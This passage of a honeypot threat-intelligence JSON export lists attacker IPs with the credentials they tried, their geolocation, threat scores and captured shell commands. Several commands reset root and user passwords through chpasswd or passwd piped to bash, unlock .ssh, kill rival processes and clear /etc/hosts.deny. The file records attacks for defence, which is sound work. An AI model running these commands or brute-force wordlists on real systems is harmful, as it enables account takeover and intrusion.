        "echo \"root:vCjGwEcamRak\"|chpasswd|bash",
        "echo -e \"123456\\nNUrEcHK4fjjj\\nNUrEcHK4fjjj\"|passwd|bash",
        "echo -e \"laura\\nuDydmNhG8JTG\\nuDydmNhG8JTG\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Altdorf bei N\u00fcrnberg",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 424,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T14:50:50.007000+00:00",
        "last_seen_30d": "2026-04-11T15:30:55.965000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 349,
        "Suricata": 75
      }
    },
    "130.94.58.115": {
      "attack_count": 331,
      "first_seen": "2026-04-06T18:24:00.840Z",
      "last_seen": "2026-04-06T19:08:04.519Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "oracle",
        "customer",
        "dev",
        "erpnext",
        "ftp_test",
        "logviewer",
        "rp",
        "ruoyi",
        "steam",
        "testuser",
        "tim",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!Q@W#E$R%T",
        "0racle",
        "123",
        "1234",
        "12345.ASDF",
        "1q@W3e$R5t",
        "1qaz@WSX3edc$RFV@@",
        "Abc#123456",
        "Admin@123456",
        "Docker!",
        "Letmein@1",
        "Zy@123456",
        "admin",
        "admin123@",
        "logviewer",
        "password",
        "qqXX123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"0racle\\nGiOluraoTESz\\nGiOluraoTESz\\n\"|passwd",
        "echo \"root:7HaQUKAXcl2P\"|chpasswd|bash",
        "echo \"ubuntu_1234\\nFdYRPWFcrvK7\\nFdYRPWFcrvK7\\n\"|passwd",
        "echo -e \"0racle\\nGiOluraoTESz\\nGiOluraoTESz\"|passwd|bash",
        "echo -e \"ubuntu_1234\\nFdYRPWFcrvK7\\nFdYRPWFcrvK7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 154177,
      "as_org": "LIGHT NODE LIMITED",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:24:00.840000+00:00",
        "last_seen_30d": "2026-04-06T19:09:12.991000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 71
      }
    },
    "163.7.6.74": {
      "attack_count": 304,
      "first_seen": "2026-04-26T18:47:51.185Z",
      "last_seen": "2026-04-28T09:13:53.935Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "caoss",
        "nsroot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@$%12345",
        "!QAZ@WSXEDC",
        "0p9o8i7u6y5t4r3e",
        "123456!@#",
        "123456QWE",
        "123ABC",
        "1q2q1w2w",
        "5tgbnhy6",
        "Abc!12345",
        "Dongji2025",
        "G!yBwPWH3Vao%8",
        "Gd@ta2026",
        "Jun@123",
        "Kali123456!",
        "Roadrunner99",
        "Root23",
        "S1mt4st1c_Admin",
        "Z123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NprLGKIiF0no\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 406,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:47:51.185000+00:00",
        "last_seen_30d": "2026-04-28T09:15:03.954000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 102
      }
    },
    "70.114.116.180": {
      "attack_count": 272,
      "first_seen": "2026-04-24T22:16:24.463Z",
      "last_seen": "2026-04-24T22:49:55.840Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "postgres",
        "denis",
        "sammy",
        "steam",
        "steam1",
        "test",
        "tester",
        "ubuntu",
        "user1",
        "user53",
        "zqliu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567890",
        "A1234567891011121314151617181920",
        "Aa112211.",
        "Abcd1#$",
        "DDbb123",
        "Letmein1",
        "Pa$$W0rd",
        "Postgres2026!@#",
        "Qaz123wsx!@#",
        "Qaz1wsx2",
        "Qwe123456.",
        "Qwerty123456",
        "Sammy!2026",
        "Wangsu@123",
        "bot18",
        "changeme",
        "cr2750af6bTs1pkq",
        "denis"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bot18\\nP457F8oqFq8W\\nP457F8oqFq8W\\n\"|passwd",
        "echo \"root:9wQEq3ZPD4fI\"|chpasswd|bash",
        "echo -e \"bot18\\nP457F8oqFq8W\\nP457F8oqFq8W\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hutto",
      "asn": 11427,
      "as_org": "Charter Communications Inc",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 344,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T22:16:24.463000+00:00",
        "last_seen_30d": "2026-04-24T22:50:56.632000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 272,
        "Suricata": 72
      }
    },
    "185.113.139.51": {
      "attack_count": 263,
      "first_seen": "2026-04-16T15:17:33.460Z",
      "last_seen": "2026-04-16T15:54:18.917Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "teamspeak",
        "345gs5662d34",
        "james",
        "test",
        "db2inst3",
        "git",
        "iot",
        "maxim",
        "postgres",
        "steam",
        "sumit",
        "ubuntu",
        "user4",
        "yang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "888888",
        "QWE123@",
        "Qazwsx123321@#",
        "Qwer123456",
        "Qwer123456!",
        "Root4321$",
        "Server@123",
        "Teamspeak",
        "asdfghjkl",
        "casa",
        "db2inst3",
        "james1234",
        "maxim",
        "postgres!2026",
        "qazwsx8888!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Teamspeak\\ndHx1MXt7MQ4B\\ndHx1MXt7MQ4B\\n\"|passwd",
        "echo \"james1234\\n0FaJFqfc1HOG\\n0FaJFqfc1HOG\\n\"|passwd",
        "echo -e \"Teamspeak\\ndHx1MXt7MQ4B\\ndHx1MXt7MQ4B\"|passwd|bash",
        "echo -e \"james1234\\n0FaJFqfc1HOG\\n0FaJFqfc1HOG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T15:17:33.460000+00:00",
        "last_seen_30d": "2026-04-16T15:55:26.373000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 65
      }
    },
    "185.215.167.247": {
      "attack_count": 263,
      "first_seen": "2026-04-21T15:00:43.796Z",
      "last_seen": "2026-04-21T15:25:25.525Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ali",
        "345gs5662d34",
        "postgres",
        "steam",
        "test",
        "admin",
        "ben",
        "deploy",
        "game",
        "misha",
        "teamspeak2",
        "ubuntu",
        "user",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "000000",
        "123456",
        "123456789",
        "123456qwe!",
        "202520",
        "Admin!@#$",
        "Admin1234567@#",
        "Ali16!",
        "Ali22!",
        "Cs123456789",
        "O123456",
        "Password123!@",
        "QWERTYUIO1234567",
        "Qazwsx888#",
        "Root321#",
        "Sh123456",
        "Test.123",
        "User23"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Ali16!\\nYoRf95s7E1FW\\nYoRf95s7E1FW\\n\"|passwd",
        "echo \"Test.123\\nyywHgJ2MgCIN\\nyywHgJ2MgCIN\\n\"|passwd",
        "echo -e \"Ali16!\\nYoRf95s7E1FW\\nYoRf95s7E1FW\"|passwd|bash",
        "echo -e \"Test.123\\nyywHgJ2MgCIN\\nyywHgJ2MgCIN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:00:43.796000+00:00",
        "last_seen_30d": "2026-04-21T15:26:33.715000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 63
      }
    },
    "187.174.238.116": {
      "attack_count": 263,
      "first_seen": "2026-04-20T11:09:01.560Z",
      "last_seen": "2026-04-20T11:48:48.880Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "elena",
        "test",
        "user",
        "daniel",
        "frappe",
        "ftpuser3",
        "gitlab-runner",
        "grid",
        "raaj",
        "server",
        "steam",
        "testuser",
        "ubuntu",
        "username"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456.a",
        "123456A@",
        "1qaz@WSX3edc",
        "ABCD1234",
        "Aa123456",
        "M3gaP33!",
        "Qwer!!",
        "Root-123",
        "Server25!",
        "User!@#$",
        "Welcome1",
        "Zxc12345",
        "admin1234",
        "asdqwe123",
        "password321",
        "qqQQ123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nQd3pJeL1etxE\\nQd3pJeL1etxE\\n\"|passwd",
        "echo \"admin1234\\nvgSyd7GWdWR7\\nvgSyd7GWdWR7\\n\"|passwd",
        "echo -e \"123456\\nQd3pJeL1etxE\\nQd3pJeL1etxE\"|passwd|bash",
        "echo -e \"admin1234\\nvgSyd7GWdWR7\\nvgSyd7GWdWR7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "\u00c1lvaro Obreg\u00f3n",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T11:09:01.560000+00:00",
        "last_seen_30d": "2026-04-20T11:49:58.023000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 65
      }
    },
    "36.64.68.99": {
      "attack_count": 236,
      "first_seen": "2026-04-27T21:12:22.888Z",
      "last_seen": "2026-04-27T21:32:57.033Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dspace",
        "ftpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234567as",
        "123QWE321",
        "1qaz!QAZ",
        "ADMINISTRATOR1",
        "Bhuvan@1234567",
        "LHY@123.com!",
        "Liu123456",
        "Pass@123456",
        "Password.1234",
        "Password2023",
        "Q1W2E3R4T5Y6",
        "Rajesh@1",
        "Vikram@123456",
        "administrator12",
        "dspace123456",
        "q1w2e3r4t5y6u7i8",
        "qwerty2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IGbyn5GWphra\"|chpasswd|bash",
        "echo \"root:OYH08OFnjDNs\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T21:12:22.888000+00:00",
        "last_seen_30d": "2026-04-27T21:33:57.563000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 52
      }
    },
    "143.244.131.82": {
      "attack_count": 204,
      "first_seen": "2026-04-24T06:14:37.333Z",
      "last_seen": "2026-04-24T06:53:22.328Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "deploy",
        "sammy",
        "345gs5662d34",
        "ec2-user",
        "ftpuser",
        "julien",
        "myappuser",
        "postgres",
        "sergio",
        "server",
        "tmp",
        "ubuntu",
        "vpn",
        "west"
      ],
      "passwords_attempted": [
        "1225",
        "123",
        "12345678",
        "123456789",
        "1qazXSW@",
        "2glehe5t24th1issZs",
        "3245gs5662d34",
        "345gs5662d34",
        "Lt123456",
        "MoeClub.org",
        "Vpn!",
        "Welcome@1",
        "aa778899",
        "abc.123",
        "abcd",
        "admin22",
        "asdf",
        "julien",
        "mama1234",
        "myappuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"abcd\\nWOfGV9mQ4eof\\nWOfGV9mQ4eof\\n\"|passwd",
        "echo -e \"abcd\\nWOfGV9mQ4eof\\nWOfGV9mQ4eof\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T06:14:37.333000+00:00",
        "last_seen_30d": "2026-04-24T06:54:22.565000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "103.86.198.253": {
      "attack_count": 193,
      "first_seen": "2026-04-04T07:24:01.958Z",
      "last_seen": "2026-04-04T08:29:06.143Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "boss",
        "ftpuser1",
        "hduser",
        "mailuser",
        "oracle",
        "teamspeak",
        "user",
        "vinay"
      ],
      "passwords_attempted": [
        "123456",
        "100100100",
        "123456aaA",
        "1qaz!QAZ",
        "1qaz2wsx",
        "2wsx!@",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "Abcd12345@#",
        "Oracle19!",
        "P@ss",
        "Qwe12345@",
        "Qwer4321",
        "Qwerty12!",
        "Root03!",
        "Root6666.",
        "Teamspeak15",
        "aa123456789aa",
        "admin01@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ELyxgNLl479R\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 18109,
      "as_org": "MAISHA NET",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:24:01.958000+00:00",
        "last_seen_30d": "2026-04-04T08:30:08.104000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 65
      }
    },
    "157.10.52.221": {
      "attack_count": 193,
      "first_seen": "2026-04-07T11:36:04.181Z",
      "last_seen": "2026-04-07T12:20:26.223Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "bot",
        "carla",
        "deploy",
        "ftpuser",
        "magento",
        "nessus",
        "newusername",
        "odoo",
        "rootuser",
        "sonic",
        "systest",
        "tejas",
        "testftp",
        "viewtinet",
        "vpnuser"
      ],
      "passwords_attempted": [
        "!@#$%^&*()",
        "1234-qwer",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Frappe27",
        "P4sswOrd",
        "Qwe@1234",
        "Root0#",
        "Root01!@#",
        "Test123.",
        "bot28!",
        "carla",
        "ftpuser!@",
        "magento",
        "nessus",
        "newusername",
        "odoo11",
        "qazwsx0!@",
        "rootuser@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Shr08xB8JSid\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T11:36:04.181000+00:00",
        "last_seen_30d": "2026-04-07T12:21:35.435000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "95.58.255.251": {
      "attack_count": 193,
      "first_seen": "2026-04-05T07:44:40.560Z",
      "last_seen": "2026-04-05T08:50:21.504Z",
      "sessions": 27,
      "ports": [],
